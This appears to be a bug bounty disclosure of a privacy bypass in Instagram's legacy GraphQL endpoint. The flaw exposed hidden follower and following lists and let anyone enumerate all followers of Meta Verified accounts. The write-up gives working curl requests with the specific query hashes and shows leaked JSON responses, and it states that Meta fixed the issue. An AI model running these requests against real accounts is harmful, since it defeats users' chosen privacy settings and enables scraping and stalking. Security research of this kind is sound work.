During a recent security audit of Instagram’s web API surface, I identified a critical Broken Access Control flaw (BOLA) in Instagram’s legacy GraphQL query engine.
By leveraging an unmonitored legacy endpoint (/graphql/query/) that still relies on static query_hash identifiers, I was able to completely bypass two major privacy and platform restrictions:
- “Hide Followers & Following List” Privacy Feature: Any authenticated user could retrieve the full Followers & Following list of target accounts that explicitly enabled this privacy setting.
- Meta Verified Follower Visibility Limit: While official endpoints restrict follower scrolling for Meta Verified accounts to the first ~50 followers, this legacy endpoint allows complete enumeration of all followers.
Technical Overview & Architecture Flow
Instagram enforces server-side privacy checks on its modern REST endpoints (/api/v1/friendships/) and document-id based GraphQL endpoints (/api/graphql). However, the legacy query_hash endpoint path was left unprotected, failing to validate whether the target user’s followers and following lists were hidden or restricted.
Endpoint Response Comparison
| Access Method | Target: @target_hidden(Hidden Followers/Following) | Target: @target_verified (Meta Verified) |
|---|---|---|
| Instagram Official App | “Followers/Following are hidden” | Shows only first ~50 followers |
REST API (/api/v1/friendships/) |
Blocked (Empty payload + notice) | Capped (~50 followers returned) |
Legacy GraphQL (/graphql/query/) |
LEAKED (Full list) | LEAKED (All followers) |
Proof of Concept (PoC)
Target Endpoint & Hashes:
- Base URL:
https://www.instagram.com/graphql/query/ - Followers Query Hash:
37479f2b8209594dde7facb0d904896a - Following Query Hash:
d04edd2229b57d9a3754f00d82f6f342
Scenario 1: Bypassing “Hide Followers & Following” Privacy Settings
1. Verifying Protection on REST API (Blocked):
# Followers REST Endpoint (Blocked)
curl -s 'https://www.instagram.com/api/v1/friendships/TARGET_USER_ID/followers/' \
-H 'cookie: sessionid=<ATTACKER_SESSION>' \
-H 'x-csrftoken: <TOKEN>' \
-H 'x-requested-with: XMLHttpRequest'
# Following REST Endpoint (Blocked)
curl -s 'https://www.instagram.com/api/v1/friendships/TARGET_USER_ID/following/' \
-H 'cookie: sessionid=<ATTACKER_SESSION>' \
-H 'x-csrftoken: <TOKEN>' \
-H 'x-requested-with: XMLHttpRequest'
Response (Blocked as expected):
{
"users": [],
"big_list": false,
"status": "ok",
"special_empty_state": {
"title": "Followers are hidden",
"body": "target_hidden has chosen to hide their followers."
}
}
2. Bypassing Restrictions via Legacy GraphQL (Leaked):
Querying Followers list:
curl -s 'https://www.instagram.com/graphql/query/?query_hash=37479f2b8209594dde7facb0d904896a&variables=%7B%22id%22%3A%22TARGET_USER_ID%22%2C%22after%22%3A%22%22%2C%22first%22%3A50%7D' \
-H 'cookie: sessionid=<ATTACKER_SESSION>; csrftoken=<TOKEN>; ds_user_id=<ATTACKER_ID>;' \
-H 'x-csrftoken: <TOKEN>' \
-H 'x-requested-with: XMLHttpRequest'
Querying Following list:
curl -s 'https://www.instagram.com/graphql/query/?query_hash=d04edd2229b57d9a3754f00d82f6f342&variables=%7B%22id%22%3A%22TARGET_USER_ID%22%2C%22after%22%3A%22%22%2C%22first%22%3A50%7D' \
-H 'cookie: sessionid=<ATTACKER_SESSION>; csrftoken=<TOKEN>; ds_user_id=<ATTACKER_ID>;' \
-H 'x-csrftoken: <TOKEN>' \
-H 'x-requested-with: XMLHttpRequest'
Leaked Payload Examples (Followers & Following):
{
"data": {
"user": {
"edge_followed_by": {
"count": 2394,
"edges": [
{
"node": {
"id": "10000000001",
"username": "leaked_follower_1",
"full_name": "Redacted Follower User",
"profile_pic_url": "https://...",
"followed_by_viewer": false,
"is_verified": false
}
}
],
"page_info": {
"has_next_page": true,
"end_cursor": "QVFEcHY0aDV..."
}
},
"edge_follow": {
"count": 512,
"edges": [
{
"node": {
"id": "10000000002",
"username": "leaked_following_1",
"full_name": "Redacted Following User",
"profile_pic_url": "https://...",
"follows_viewer": false,
"is_verified": false
}
}
],
"page_info": {
"has_next_page": true,
"end_cursor": "QVFEcHY0aDV..."
}
}
}
}
}
Scenario 2: Enumerate All Followers of Meta Verified Accounts
Meta Verified accounts limit public follower scrolling on standard endpoints to ~50 accounts to prevent large-scale web scraping. However, testing on a verified target demonstrated that cursor-based pagination via /graphql/query/ returned full valid objects without capping, allowing complete enumeration beyond the 50-follower limit.
GET /graphql/query/?query_hash=37479f2b8209594dde7facb0d904896a&variables={"id":"VERIFIED_TARGET_ID","after":"","first":50}
Status: 200 OK
Response: Returned 49 users, total count = ALL_FOLLOWERS, has_next_page = True
Leaked Node Samples:
• @sample_user_1 [ID: 70000000001]
• @sample_user_2 [ID: 70000000002]
• @sample_user_3 [ID: 70000000003]
Resolution and Fix
After discovering the vulnerability, I reported it through Meta’s Bug Bounty Program, providing detailed reproduction steps and proof of concept. Meta acknowledged the issue and deployed a fix to properly enforce privacy controls across legacy query paths.